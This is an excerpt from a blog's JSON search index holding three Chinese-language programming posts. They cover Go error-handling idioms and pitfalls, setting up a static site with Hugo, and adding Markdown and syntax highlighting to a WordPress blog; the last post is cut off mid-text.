Cox也承认Go的错误处理机制对于开发人员的确有一定的心智负担。\n好了，关于这个槽点的叙述点到为止，我们关心的是“如何破解”！Go的错误处理的确冗长，但使用一些tips，还是可以将代码缩减至可以忍受的范围的，这里列举三种：\n1、checkError style 对于一些在error handle时可以选择goroutine exit（注意：如果仅存main goroutine一个goroutine，调用runtime.Goexit会导致program以crash形式退出）或os.Exit的情形，我们可以选择类似常见的checkError方式简化错误处理，例如：\nfunc checkError(err error) { if err != nil { fmt.Println(\u0026quot;Error is \u0026quot;, err) os.Exit(-1) } } func foo() { err := doStuff1() checkError(err) err = doStuff2() checkError(err) err = doStuff3() checkError(err) } 这种方式有些类似于C中用宏(macro)简化错误处理过程代码，只是由于Go不支持宏，使得这种方式的应用范围有限。\n2、聚合error handle functions 有些时候，我们会遇到这样的情况：\nerr := doStuff1() if err != nil { //handle A //handle B ... ... } err = doStuff2() if err != nil { //handle A //handle B ... ... } err = doStuff3() if err != nil { //handle A //handle B ... ... } 在每个错误处理过程，处理过程相似，都是handle A、handle B等，我们可以通过Go提供的defer + 闭包的方式，将handle A、handle B…聚合到一个defer匿名helper function中去：\nfunc handleA() { fmt.Println(\u0026quot;handle A\u0026quot;) } func handleB() { fmt.Println(\u0026quot;handle B\u0026quot;) } func foo() { var err error defer func() { if err != nil { handleA() handleB() } }() err = doStuff1() if err != nil { return } err = doStuff2() if err != nil { return } err = doStuff3() if err != nil { return } } 3、 将doStuff和error处理绑定 在Rob Pike的”Errors are values”一文中，Rob Pike told us 标准库中使用了一种简化错误处理代码的trick，bufio的Writer就使用了这个trick：\nb := bufio.NewWriter(fd) b.Write(p0[a:b]) b.Write(p1[c:d]) b.Write(p2[e:f]) // and so on if b.Flush() != nil { return b.Flush() } } 我们看到代码中并没有判断三个b.Write的返回错误值，错误处理放在哪里了呢？我们打开一下$GOROOT/src/\ntype Writer struct { err error buf []byte n int wr io.Writer } func (b *Writer) Write(p []byte) (nn int, err error) { for len(p) \u0026gt; b.Available() \u0026amp;\u0026amp; b.err == nil { ... ... } if b.err != nil { return nn, b.err } ...... return nn, nil } 我们可以看到，错误处理被绑定在Writer.Write的内部了，Writer定义中有一个err作为一个错误状态值，与Writer的实例绑定在了一起，并且在每次Write入口判断是否为!= nil。一旦!=nil，Write其实什么都没做就return了。\n以上三种破解之法，各有各的适用场景，同样你也可以看出各有各的不足，没有普适之法。优化go错误处理之法也不会局限在上述三种情况，肯定会有更多的solution，比如代码生成，比如其他还待发掘。\n四、解调用者之惑 前面举的例子对于调用者来讲都是较为简单的情况了。但实际编码中，调用者不仅要面对的是：\nif err != nil { //handle error } 还要面对：\nif err 是 ErrXXX //handle errorXXX if err 是 ErrYYY //handle errorYYY if err 是ErrZZZ //handle errorZZZ 我们分三种情况来说明调用者该如何处理不同类型的error实现：\n1、由errors.New或fmt.Errorf返回的错误变量 如果你调用的函数或方法返回的错误变量是调用errors.New或fmt.Errorf而创建的，由于errorString类型是unexported的，因此我们无法通过“相当判定”或type assertion、type switch来区分不同错误变量的值或类型，唯一的方法就是判断err.String()是否与某个错误context string相等，示意代码如下：\nfunc openFile(name string) error { if file not exist { return errors.New(\u0026quot;file does not exist\u0026quot;) } if have no priviledge { return errors.New(\u0026quot;no priviledge\u0026quot;) } return nil } func main() { err := openFile(\u0026quot;example.go\u0026quot;) if err.Error() == \u0026quot;file does not exist\u0026quot; { // handle \u0026quot;file does not exist\u0026quot; error return } if err.Error() == \u0026quot;no priviledge\u0026quot; { // handle \u0026quot;no priviledge\u0026quot; error return } } 但这种情况太low了，不建议这么做！一旦遇到类似情况，就要考虑通过下面方法对上述情况进行重构。\n2、exported Error变量 打开$GOROOT/src/os/error.go，你会在文件开始处发现如下代码：\nvar ( ErrInvalid = errors.New(\u0026quot;invalid argument\u0026quot;) ErrPermission = errors.New(\u0026quot;permission denied\u0026quot;) ErrExist = errors.New(\u0026quot;file already exists\u0026quot;) ErrNotExist = errors.New(\u0026quot;file does not exist\u0026quot;) ) 这些就是os包export的错误码变量，由于是exported的，我们在调用os包函数返回后判断错误码时可以直接使用等于判定，比如：\nerr := os.XXX if err == os.ErrInvalid { //handle invalid } ... ... 也可以使用switch case：\nswitch err := os.XXX { case ErrInvalid: //handle invalid case ErrPermission: //handle no permission ... ... } ... ... （至于error类型变量与os.ErrInvalid的可比较性可参考go specs。\n一般对于库的设计和实现者而言，在库的设计时就要考虑好export出哪些错误变量。\n3、定义自己的error接口实现类型 如果要提供额外的error context，我们可以定义自己的实现error接口的类型；如果这些类型还是exported的，我们就可以用type assertion or type switch来判断返回的错误码类型并予以对应处理。\n比如$GOROOT/src/net/net.go：\ntype OpError struct { Op string Net string Source Addr Addr Addr Err error } func (e *OpError) Error() string { if e == nil { return \u0026quot;\u0026lt;nil\u0026gt;\u0026quot; } s := e.Op if e.Net != \u0026quot;\u0026quot; { s += \u0026quot; \u0026quot; + e.Net } if e.Source != nil { s += \u0026quot; \u0026quot; + e.Source.String() } if e.Addr != nil { if e.Source != nil { s += \u0026quot;-\u0026gt;\u0026quot; } else { s += \u0026quot; \u0026quot; } s += e.Addr.String() } s += \u0026quot;: \u0026quot; + e.Err.Error() return s } net.OpError提供了丰富的error Context，不仅如此，它还实现了除Error以外的其他method，比如：Timeout（实现net.timeout interface） 和Temporary（实现net.temporary interface）。这样我们在处理error时，可通过type assertion或type switch将error转换为*net.OpError，并调用到Timeout或Temporary方法来实现一些特殊的判定。\nerr := net.XXX if oe, ok := err.(*OpError); ok { if oe.Timeout() { //handle timeout... } } 五、坑(s) 每种编程语言都有自己的专属坑(s)，Go虽出身名门，但毕竟年轻，坑也不少，在error处理这块也可以列出几个。\n1、 Go FAQ：Why is my nil error value not equal to nil? type MyError string func (e *MyError) Error() string { return string(*e) } var ErrBad = MyError(\u0026quot;ErrBad\u0026quot;) func bad() bool { return false } func returnsError() error { var p *MyError = nil if bad() { p = \u0026amp;ErrBad } return p // Will always return a non-nil error. } func main() { err := returnsError() if err != nil { fmt.Println(\u0026quot;return non-nil error\u0026quot;) return } fmt.Println(\u0026quot;return nil\u0026quot;) } 上面的输出结果是”return non-nil error”，也就是说returnsError返回后，err != nil。err是一个interface类型变量，其underlying有两部分组成：类型和值。只有这两部分都为nil时，err才为nil。但returnsError返回时将一个值为nil，但类型为*MyError的变量赋值为err，这样err就不为nil。解决方法：\nfunc returnsError() error { var p *MyError = nil if bad() { p = \u0026amp;ErrBad return p } return nil } 2、switch err.(type)的匹配次序 试想一下下面代码的输出结果：\ntype MyError string func (e MyError) Error() string { return string(e) } func Foo() error { return MyError(\u0026quot;foo error\u0026quot;) } func main() { err := Foo() switch e := err.(type) { default: fmt.Println(\u0026quot;default\u0026quot;) case error: fmt.Println(\u0026quot;found an error:\u0026quot;, e) case MyError: fmt.Println(\u0026quot;found MyError:\u0026quot;, e) } return } 你可能会以为会输出：”found MyError: foo error”，但实际输出却是：”found an error: foo error”，也就是说e先匹配到了error！如果我们调换一下次序呢：\n... ... func main() { err := Foo() switch e := err.(type) { default: fmt.Println(\u0026quot;default\u0026quot;) case MyError: fmt.Println(\u0026quot;found MyError:\u0026quot;, e) case error: fmt.Println(\u0026quot;found an error:\u0026quot;, e) } return } 这回输出结果变成了：“found MyError: foo error”。\n也许你会认为这不全是错误处理的坑，和switch case的匹配顺序有关，但不可否认的是有些人会这么去写代码，一旦这么写，坑就踩到了。因此对于通过switch case来判定error type的情况，将error这个“通用”类型放在后面或去掉。\n六、第三方库 如果觉得go内置的错误机制不能很好的满足你的需求，本着“do not reinvent the wheel”的精神，建议使用一些第三方库来满足，比如：juju/errors。这里就不赘述了。\n","permalink":"https://tonybai.com/2015/10/30/error-handling-in-go/","summary":"\u003cp\u003e近期闲暇用\u003ca href=\"http://golang.org/\"\u003eGo\u003c/a\u003e写一个lib，其中涉及到error处理的地方让我琢磨了许久。关于\u003ca href=\"http://tonybai.com/2014/11/14/effective-error-handling-in-go/\"\u003eGo错误处理\u003c/a\u003e的资料和视频已有许多，Go authors们也在官方Articles和Blog上多次提到过一些Go error handling方面的一些tips和best practice，这里仅仅算是做个收集和小结，尽视野所及，如有不足，欢迎评论中补充。（10月因各种原因，没有耕博，月末来一发，希望未为晚矣 ^_^）\u003c/p\u003e","title":"Go语言错误处理"},{"content":"虽然前一篇Blog宣称自己要用Markdown开始写Post，但实际操作起来还是发现了诸多不兼容问题(插件与主题间、插件与插件间的)，让编写和修改文章变得十分繁琐，于是我研究了一下静态Web站点生成工具Hugo。Hugo是由前Docker的重量级员工(2015年8月末从Docker离职)：Steve Francia实现的一个开源静态站点生成工具框架，类似于Jekyll、Octopress或Hexo，都是将特定格式(最常见的是Markdown格式)的文本文件转换为静态html文件而生成一个静态站点，多用于个人Blog站点、项目文档(Docker的官方manual Site就是用Hugo生成的)、初创公司站点等。这类工具越来越多的受到程序员等颇具“极客”精神的群体的欢迎，结合github.com等版本控制服务，采用具有简单语法格式但强大表达力的Markdown标记语言，人们可以在很短时间内就构建出一个符合自己需求的静态Web站点。在这些工具中，Hugo算是后起之秀了，它最大的优点就是Fast! 一个中等规模的站点在几分之一秒内就可以生成出来。其次是良好的跨平台特性、配置简单、使用方便等。这一切均源于其良好的基因：采用Go语言实现。Steve Francia除了Hugo平台自身外，还维护了一个Hugo Theme的Repo，这个Hugo主题库可以帮助Hugo使用者快速找到自己心仪的主题并快速搭建起静态站点。目前国内使用Hugo的人还不多，但感觉其趋势是在逐渐增多。这里写下这篇Post，也算是为大家入个门，引个路吧。\n一、安装Hugo Hugo托管在github.com上，因此获取Hugo很方面，目前有至少两种方法可以安装Hugo。\n1、安装包 对于普通用户（无git、无开发经验）而言，直接下载安装包是最简单的方式。我们可以下载Hugo的Release版，截至目前为止最新版本是v0.14，可以在这里下载你的平台(支持linux, windows, darwin, netbsd, freebsd和arm等)对应的版本。不过我发现0.14版本似乎有Bug，在我的MacOsX上生成Hugo Docs站点总是panic。\n2、源码编译 对于开发者而言，源码编译是最Geek的方式:\ngo get -u -v github.com/spf13/hugo go build -o hugo main.go mv hugo $GOPATH/bin 在命令行下执行hugo命令，如果得到类似下面结果，则说明你已经成功安装了Hugo：\n$hugo version Hugo Static Site Generator v0.15-DEV BuildDate: 2015-09-20T23:53:39+08:00 二、生成静态站点 1、创建静态站点 我们来创建一个名为”tonybai.com”的静态站点：\n$hugo new site tonybai.com $tree . └── tonybai.com ├── archetypes ├── config.toml ├── content ├── data ├── layouts └── static 我们看到，通过hugo new site命令，我们建立了tonybai.com站点的后台目录结构。但细心的你会发现：这里的目录都是空的。除了config.toml中可怜的三行内容：\nbaseurl = \u0026quot;http://replace-this-with-your-hugo-site.com/\u0026quot; languageCode = \u0026quot;en-us\u0026quot; title = \u0026quot;My New Hugo Site\u0026quot; 不过即便目录为空，这也是一个完整的静态站点源文件，我们可以基于这些文件生成我们的站点。\n$cd tonybai.com $hugo server 0 draft content 0 future content 0 pages created 0 paginator pages created 0 tags created 0 categories created in 6 ms Serving pages from /Users/tony/test/hugotest/tonybai.com/public Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) Press Ctrl+C to stop 上面的hugo命令在将repo转换为静态Site文件放入public目录：\n├── public │ ├── 404.html │ ├── index.html │ ├── index.xml │ └── sitemap.xml 之后Hugo启动了一个server作为该Site的Web Server。通过浏览器访问http://localhost:1313，你将看到一个完全空白的站点首页。虽然这个站点没啥实用价值（一片空白），但这却是一个良好的起点。\n2、添加Theme 添加了Theme后的站点才有血有肉，丰富多彩。\n添加Theme的步骤如下，我们以Hyde Theme为例：\n首先创建themes目录，并下载Hyde Theme文件：\n$ mkdir themes $ cd themes $ git clone https://github.com/spf13/hyde.git 接下来，我们需要对Site进行一些配置，tonybai.com/config.toml是Site的顶层配置文件，配置后的config.toml文件如下：\nbaseurl = \u0026quot;http://tonybai.com/\u0026quot; languageCode = \u0026quot;en-us\u0026quot; title = \u0026quot;Tony Bai\u0026quot; theme = \u0026quot;hyde\u0026quot; [params] description = \u0026quot;这里是Tony Bai的个人博客\u0026quot; themeColor = \u0026quot;theme-base-08\u0026quot; # for hyde theme 其中：\ntheme = “hyde” 指定站点使用Hyde主题；\nthemeColor = “theme-base-08″ 指定了站点的主题颜色（默认是黑色的，这里改成一种红色）\n在tonybai.com目录下重新执行hugo server，并打开浏览器查看站点首页，你会发现视野里有内容了：\n3、第一个Post 结构和样式有了，我们还没有内容。我们来创建站点的第一个Post：\n$hugo new welcome.md /Users/tony/Test/hugotest/tonybai.com/content/welcome.md created hugo在content下创建welcome.md文件，我们编写一些文件内容：\n+++ Categories = [\u0026quot;Development\u0026quot;, \u0026quot;GoLang\u0026quot;] Description = \u0026quot;\u0026quot; Tags = [\u0026quot;Development\u0026quot;, \u0026quot;golang\u0026quot;] date = \u0026quot;2015-09-23T16:30:37+08:00\u0026quot; menu = \u0026quot;main\u0026quot; title = \u0026quot;你好，Hugo\u0026quot; +++ 这是使用Hugo创建的站点中的第一篇文章。 保存后，重新执行hugo server命令，打开浏览器，你将看到下面的情形：\n至此，如果你是极简主义者，你对其他没有任何要求，你就可以用这个站点写Post了。\n三、调试与部署站点 1、调试站点 采用Hugo的静态站点在编辑文章、调试站点时十分方便，你要做的就是编辑文本，保存后，打开浏览器看渲染后的结果。不过反复执行hugo server命令还是有些烦，hugo早想到了这一点，hugo提供了:\n-w, --watch[=false]\n执行hugo server命令时加上-w选项，hugo就可以自动检测本地站点文件的变更，并自动执行md -\u0026gt; html转换。这样刷新浏览器页面就可以看到你修改后的结果了：\n$hugo server -w 0 draft content 0 future content 1 pages created 0 paginator pages created 2 tags created 2 categories created in 16 ms Watching for changes in /Users/tony/test/hugotest/tonybai.com/{data,content,layouts,static,themes/hyde} Serving pages from /Users/tony/test/hugotest/tonybai.com/public Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) Press Ctrl+C to stop 通过hugo server -w的输出日志来看，hugo可以自动检测data,content,layouts,static,themes/hyde目录下的变更，但站点顶层config.toml的改动无法被检测，还需要重启hugo server。\n2、部署站点 和Jekyll类似，使用hugo的静态站点可以部署到github page中，不过这里不详细描述这种方法，可以看官方文档\n如果是在vps下部署，那么hugo转换后的public文件夹可以被直接用于部署到像nginx、apache、caddy这样的Web Server下面。\n当然hugo本身也可以作为一个Web server来支撑你的静态站点，就像上面提到的，你可以在你的站点目录(比如上面的”tonybai.com”)下执行：\n$sudo hugo server --bind=\u0026quot;0.0.0.0\u0026quot; -v -w -p 80 -b http://tonybai.com 如果无法使用80端口（比如通过apache2反向代理），那么需要加上–appendPort=false，否则转换后的public下面的url地址都会带上你的hugo端口（1313）：\n$hugo server -v -w -p 1313 -b http://tonybai.com --appendPort=false 四、配置和维护站点 大多数人不会止步于上面那个仅仅能写Post的站点，配置分类、标签；修改字体样式；添加评论功能；增加统计代码；增加代码高亮(程序员最爱)；甚至定制主题是Geek们最喜欢折腾的事情，这里无法全表，列举几个常见的配置和维护方法，还是已hyde主题为例。\n1、配置分类、标签 在浏览器中输入：http://localhost:1313/categories/或http://localhost:1313/tags，你会看到站点输出了一个类似目录列表似的页面：\ndevelopment/ golang/ development和golang从何而来呢？\n隐藏得再深，也要给它揪出来：\ntonybai.com/themes/hyde/archetypes/default.md +++ Description = \u0026quot;\u0026quot; Tags = [\u0026quot;Development\u0026quot;, \u0026quot;golang\u0026quot;] Categories = [\u0026quot;Development\u0026quot;, \u0026quot;GoLang\u0026quot;] menu = \u0026quot;main\u0026quot; +++ 由于我们使用了hyde theme，所以我们只需看themes/hyde下面的目录结构即可，tonybai.com下面的除content之外的其他layout, data等可忽略不计。在hyde/archetypes下存放着这个主题下文章的默认分类和tags集合。这个default的作用是每次new post后，hugo会将default中的tags和categories自动copy到Post头中的tags和categories中。\n每个Post的分类和tag在post自身的.md文件头中指定，见Categories和Tags两个配置项：\ntonybai.com/content/welcome.md +++ Categories = [\u0026quot;Development\u0026quot;, \u0026quot;GoLang\u0026quot;] Description = \u0026quot;\u0026quot; Tags = [\u0026quot;Development\u0026quot;, \u0026quot;golang\u0026quot;] date = \u0026quot;2015-09-23T16:30:37+08:00\u0026quot; menu = \u0026quot;main\u0026quot; title = \u0026quot;你好，Hugo\u0026quot; +++ 你可以根据需要在你的post md文件中灵活增删你的tags和categories，不局限于default.md中的那些已知项。\n2、修改字体样式 hyde主题的字体样式在tonybai.com/themes/hyde/layouts/partials/head.html中指定：\n\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;https://fonts.googleapis.com/css?family=PT+Sans:400,400italic,700|Abril+Fatface\u0026quot;\u0026gt; 由于googleapis在国内无法访问，因此要么注释掉这行（使用浏览器默认字体样式），要么将其换为其他字体公共服务，比如：\n\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;http://fonts.useso.com/css?family=PT+Sans:400,400italic,700|Abril+Fatface\u0026quot;\u0026gt; 字体的设置在tonybai.com/themes/hyde/static/css下的各个css文件中，谨慎调整。\n3、添加评论功能 Hugo没有内置评论功能，要增加评论功能需要集成第三方评论服务，比如国外最流行的Disqus。hyde主题内置了disqus评论插件，不过需要你按如下操作配置一下，否则页面下方的disqus插件总是显示无法连接。\n获取disqusShortname 这里用disqus主账号不行，需要用主账号login后：add a newsite to disqus，比如加入tonybaicom.disqus.com，这样你的disqusShortname就为：tonybaicom；\n配置disqusShortname 在tonybai.com/config.toml中配置disqusShortname:\n[params] disqusShortname = \u0026quot;tonybaicom\u0026quot; 如果你要使用国内的评论服务，比如：多说，你可以参考tonybai.com/themes/hyde/layouts/partials/disqus.html，用多说提供的install code替换disqus的code，形成duoshuo.html：\n\u0026lt;!-- 多说评论框 start --\u0026gt; \u0026lt;div class=\u0026quot;ds-thread\u0026quot; data-thread-key=\u0026quot;{{ .URL }}\u0026quot; data-title=\u0026quot;{{ .Title }}\u0026quot; data-url=\u0026quot;{{ .Permalink }}\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!-- 多说评论框 end --\u0026gt; \u0026lt;!-- 多说公共JS代码 start (一个网页只需插入一次) --\u0026gt; \u0026lt;script type=\u0026quot;text/javascript\u0026quot;\u0026gt; var duoshuoQuery = {short_name:\u0026quot;{{.Site.Params.duoshuoShortname}}\u0026quot;}; (function() { var ds = document.createElement('script'); ds.type = 'text/javascript';ds.async = true; ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js'; ds.charset = 'UTF-8'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ds); })(); \u0026lt;/script\u0026gt; \u0026lt;!-- 多说公共JS代码 end --\u0026gt; 再在tonybai.com/themes/hyde/layouts/_default/single.html中替换下面的代码：\n{{ if and (isset .Site.Params \u0026quot;disqusShortname\u0026quot;) (ne .Site.Params.disqusShortname \u0026quot;\u0026quot;) }} \u0026lt;h2\u0026gt;Comments\u0026lt;/h2\u0026gt; {{ partial \u0026quot;disqus\u0026quot; . }} {{ end }} 为类似下面的代码：\n{{ if and (isset .Site.Params \u0026quot;duoshuoShortname\u0026quot;) (ne .Site.Params.duoshuoShortname\u0026quot;\u0026quot;) }} \u0026lt;h2\u0026gt;Comments\u0026lt;/h2\u0026gt; {{ partial \u0026quot;duoshuo\u0026quot; . }} {{ end }} 注意：一旦用上面多说代码，config.toml中就需要配置duoshuoShortname了：\n[params] duoshuoShortname = \u0026quot;tonybaicom\u0026quot; 4、代码高亮 Hugo官方说明中采用Pygments来进行代码高亮的支持，在部署机上安装Pygments，个人觉得这个方法不好。于是换另一外一种js代码法，即采用highlightjs的方法支持代码高亮。\nhighlightjs同样很强大，支持135种语言（关键是支持Golang）和60多种样式（有我喜爱的github样式和monokai_sublime样式），但不支持linenumber。\n我们首先将highlightjs下载到本地:\ntonybai.com/themes/hyde/static/css/highlight.js/8.8.0/styles/github.min.css tonybai.com/themes/hyde/static/js/highlight.js/8.8.0/highlight.min.js 然后在tonybai.com/themes/hyde/layouts/partials/head.html添加如下代码:\n\u0026lt;!-- Highlight.js and css --\u0026gt; \u0026lt;script src=\u0026quot;{{ .Site.BaseURL }}js/highlight.js/8.8.0/highlight.min.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;{{ .Site.BaseURL }}css/highlight.js/8.8.0/styles/github.min.css\u0026quot;\u0026gt; \u0026lt;script\u0026gt;hljs.initHighlightingOnLoad();\u0026lt;/script\u0026gt; highlightjs会自动检测语言类型，并使用github样式。\n5、统计代码 提供统计服务的站点，比如statcounter.com一般都会提供安装代码（js）的，将那段代码copy到tonybai.com/themes/hyde/layouts/partials/head.html中即可。\n四、进阶 1、index.html、single.html和list.html 站点的首页模板在themes/hyde/layouts/index.html中。除首页外，其他Post或叫Page，都被Hugo抽象为两类：单体页面和列表页面，对应这两种页面的默认模板都在themes/hyde/layouts/_default中，分别对应着single.html和list.html。\n我们之前通过hugo new welcome.md创建的Post使用的是single.html模板，而查看tags或categories的页面默认采用的是list.html，比如查看tonybai.com/categories/golang，你会在浏览器中看到分类在golang这一类的所有Post列表。\n2、type和section 我们执行如下两个命令：\n$hugo new post/firstpost.md tonybai.com/content/post/firstpost.md created $hugo new post/secondpost.md tonybai.com/content/post/secondpost.md created 创建后我们可以看到站点的源文件结构变成了：\n... ... ├── archetypes ├── config.toml ├── content │ ├── post │ │ ├── firstpost.md │ │ └── secondpost.md │ └── welcome.md ... ... hugo中源码文件的布局影响着最终生成的html文件的结构布局。有些时候我们的站点可能会分成若干个部分，每部分通过目录隔离开，比如这里content下的post目录，这样hugo转换后，firstpost.html和secondpost.html也会在public的post目录下。这里的“post”被称为一个section。\nhugo会为每个section自动生成index.html页，采用的是index.html模板。\n至于是否采用的是hyde/layouts/_default下的list.html，这要看host的匹配order，官方给出的是：\n/layouts/section/SECTION.html /layouts/_default/section.html /layouts/_default/list.html /themes/THEME/layouts/section/SECTION.html /themes/THEME/layouts/_default/section.html /themes/THEME/layouts/_default/list.html 这个例子中THEME=hyde, SECTION=post 在本例子中，/layouts/下是空的，不予考虑。/themes/hyde/layouts下没有建立section/post.html模板，/themes/hyde/layouts/_default/section.html也不存在，因此用的是_default/list.html。\nhugo官方建议静态站点源码文件按section组织，每个section使用相应(同名）的type，这样section下面的.md就会自动使用响应type的meta data。\n当我们hugo new post/firstpost.md时，hugo会到archetypes下找是否有post.md文件，如果有则使用post.md文件的categories和tags来初始化content/post/firstpost.md的元数据，如果没有post.md，则使用archetypes/default.md的。\n3、模板语言 Hugo使用Golang的模板语法，表达能力很强大；配合Hugo predefined的变量或自定义变量，你可以玩转模板。关于模板内容较多，这里不赘述，需要时查看官方详细的manual。\n","permalink":"https://tonybai.com/2015/09/23/intro-of-gohugo/","summary":"\u003cp\u003e虽然前一篇Blog宣称自己要\u003ca href=\"http://tonybai.com/2015/09/19/write-blog-in-markdown/\"\u003e用Markdown开始写Post\u003c/a\u003e，但实际操作起来还是发现了诸多不兼容问题(插件与主题间、插件与插件间的)，让编写和修改文章变得十分繁琐，于是我研究了一下静态Web站点生成工具\u003ca href=\"http://gohugo.io/\"\u003eHugo\u003c/a\u003e。Hugo是由前\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e的重量级员工(2015年8月末从Docker离职)：\u003ca href=\"https://github.com/spf13\"\u003eSteve Francia\u003c/a\u003e实现的一个开源静态站点生成工具框架，类似于\u003ca href=\"http://jekyllrb.com/\"\u003eJekyll\u003c/a\u003e、\u003ca href=\"http://octopress.org/\"\u003eOctopress\u003c/a\u003e或\u003ca href=\"http://hexo.io/\"\u003eHexo\u003c/a\u003e，都是将特定格式(最常见的是Markdown格式)的文本文件转换为静态html文件而生成一个静态站点，多用于个人Blog站点、项目文档(Docker的官方manual Site就是用Hugo生成的)、初创公司站点等。这类工具越来越多的受到程序员等颇具“极客”精神的群体的欢迎，结合github.com等版本控制服务，采用具有简单语法格式但强大表达力的Markdown标记语言，人们可以在很短时间内就构建出一个符合自己需求的静态Web站点。在这些工具中，Hugo算是后起之秀了，它最大的优点就是Fast! 一个中等规模的站点在几分之一秒内就可以生成出来。其次是良好的跨平台特性、配置简单、使用方便等。这一切均源于其良好的基因：采用Go语言实现。Steve Francia除了Hugo平台自身外，还维护了一个\u003ca href=\"https://github.com/spf13/hugoThemes\"\u003eHugo Theme\u003c/a\u003e的Repo，这个Hugo主题库可以帮助Hugo使用者快速找到自己心仪的主题并快速搭建起静态站点。目前国内使用Hugo的人还不多，但感觉其趋势是在逐渐增多。这里写下这篇Post，也算是为大家入个门，引个路吧。\u003c/p\u003e","title":"使用Hugo搭建静态站点"},{"content":"近期发了一些带有大量代码的Go技术文章，结果文章中的代码样式被大家鄙视了，比如评论中的“不忍直视”、“这代码看得让人难受”等。于是我决定花些时间尝试做些改变。\n博客系统 目前使用的这个博客系统是放在DigitalOcean VPS的Wordpress 3.2.1。在迁移到VPS之前，我的博客是一直托管在同事的一个托管主机上的，当初从blogbus迁移到他的托管WordPress主机时使用的就是WordPress 3.2.1版本，这两年一直未动，目前WordPress版本都4.3.1了。WordPress 3.2.1有很多bug，尤其是其安全漏洞，今年就被黑过几次，为此在后台将blog纳入git version管理，这样被黑后就可以很容易恢复。但将版本升级到WordPress新版我还是担心的，主要是担心升级失败，尤其是\u0026gt;数据库表变化较大，担心无法恢复。\n不过由于历史“负重”太大（900多篇），我很难将WordPress顺利平滑的切换到一些新博客系统，比如golang开发的hugo，Jekyll、Octopress等，只能继续坚守WordPress。\n由于经常在文章里贴代码，也曾尝试过使用一些语法高亮的插件，但目前使用的富文本编辑器CKEditor似乎总是与语法高亮不兼容，试了N多都不好用，尤其是在html编辑器和富文本编辑器切换时高亮\u0026gt;部分代码内容被自动转码，于是放弃。这样在文章中只能暂时用Courier New字体来“高亮”代码部分。\nCrayon Syntax Highlighter 在尝试之初思路主要还是想找到一款与CKEditor兼容的好用的语法高亮插件，在网上找到一个插件组合：CKEditor + SyntaxHighlighter CKEditor Button + Auto-SyntaxHighlighter。安装后简单\u0026gt;测试了一下发现的确比之前找的几款插件强。输入代码时只需要点击CKEditor工具栏上的一个Code Button，SyntaxHighlighter CKEditor Button会打开一个源码输入对话框，选择源码的语言种类贴入源码即可，还可以在”高级”tab中设置一些选项，是否带行号等。这个组合最大的好处就是无需切换到html编辑器手工输入html tag。\n不过测试一段时间后还是发现了这个插件组合的问题，那就是不支持Go语法。Auto-SyntaxHighlighter内部使用的是syntaxhighligter的js，后者已经停止更新，并且即便是最新版本也不支持golang。我只能fork一个Auto-SyntaxHighlighter的repo，并“照猫画虎”的Auto-SyntaxHighlighter增加Go语法文件:shBrushGo-min.js和shBrushGo.js，并修改SyntaxHighlighter CKEditor Button的js文件，增加Go选项。不过try后，发现高亮格式依旧不对，最初以为是我修改的不正确，后来发现即便是用其支持的C/C++代码，高亮格式依旧有问题，我怀疑是与我当前的theme不兼容所致。\n在知乎上看到人们都推荐Crayon Syntax Highlighter这个语法高亮插件，于是想最后再尝试一下。安装后发现Crayon Syntax Highlighter的确强大，我将字体设置为monaco, 字号14，主题：monokai，其渲染出来的高亮代码和我在本地mac上的几乎一模一样。不过小问题还是有的，比如: 行号无法去掉，浮动工具栏不好用等。\nCrayon插件的最大的问题还是使用不便：需要切换到html源码editor中手工加入：\n\u0026lt;pre lang:\u0026quot;go\u0026quot;\u0026gt; \u0026lt;/pre\u0026gt;\n如果再切换到富文本编辑器后，再切回来，\n\u0026lt;pre\u0026gt; \u0026lt;/pre\u0026gt;\n之间的文本就会被转码，这极大增加了使用门槛。在没有理想办法之前，只能将就着用吧。\n以上已经让我折腾我几个小时了，凌晨一点，睡。\nMarkdown on Save Improved 早上醒来，想到了Markdown，也许是最后稻草了。以前一直以为WordPress版本较低，很多Markdown plugin都不支持。但今天先不管那些了，装上试试。我找到了Markdown on Save Improved，这款插件最大的好处就是可以在每篇文章级别上加markdown开启选项。目前该插件已\u0026gt;经停更，并且其作者基于该插件开发了”Jetpack’s Markdown module”，Jetpack太大，对WordPress版本要求也太高，于是我就选择了”Markdown on Save Improved”，满足我使用就可以了。安装插件后，有一个“Markdown on Save Improved Convert to Jetpack”提示，似乎点击一个按钮，就可以将该插件转换为”Jetpack’s Markdown module”，不过我\u0026gt;也不能肯定，因为从表面上看不出来，没有什么变化。\n“Markdown on Save Improved”给我的最大惊喜是它居然兼容Crayon Syntax Highlighter，我将Crayon的默认语言设置为go，这样markdown标记的代码块后者渲染后展现出很理想的高亮效果。\npackage main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;Hello, MarkDown and SyntaxHighlighter\u0026quot;) } 至于Markdown的预览，可以在stackedit.io上来做。\n","permalink":"https://tonybai.com/2015/09/19/write-blog-in-markdown/","summary":"\u003cp\u003e近期发了一些带有大量代码的\u003ca href=\"http://tonybai.com/2015/09/17/7-things-you-may-not-pay-attation-to-in-go/\"\u003eGo技术文章\u003c/a\u003e，结果文章中的代码样式被大家鄙视了，比如评论中的“不忍直视”、“这代码看得让人难受”等。于是我决定花些时间尝试做些改变。\u003c/p\u003e\n\u003ch3 id=\"博客系统\"\u003e博客系统\u003c/h3\u003e\n\u003cp\u003e目前使用的这个博客系统是放在\u003ca href=\"https://www.digitalocean.com/?refcode=bff6eed92687\"\u003eDigitalOcean VPS\u003c/a\u003e的Wordpress 3.2.1。在\u003ca href=\"http://tonybai.com/2014/11/28/migrate-blog-to-digitalocean-vps/\"\u003e迁移到VPS\u003c/a\u003e之前，我的博客是一直托管在同事的一个托管主机上的，当初\u003ca href=\"http://tonybai.com/2012/02/29/a-new-departure-of-my-blog-move-from-blogbus-to-wordpress/\"\u003e从blogbus迁移到他的托管WordPress主机\u003c/a\u003e时使用的就是WordPress 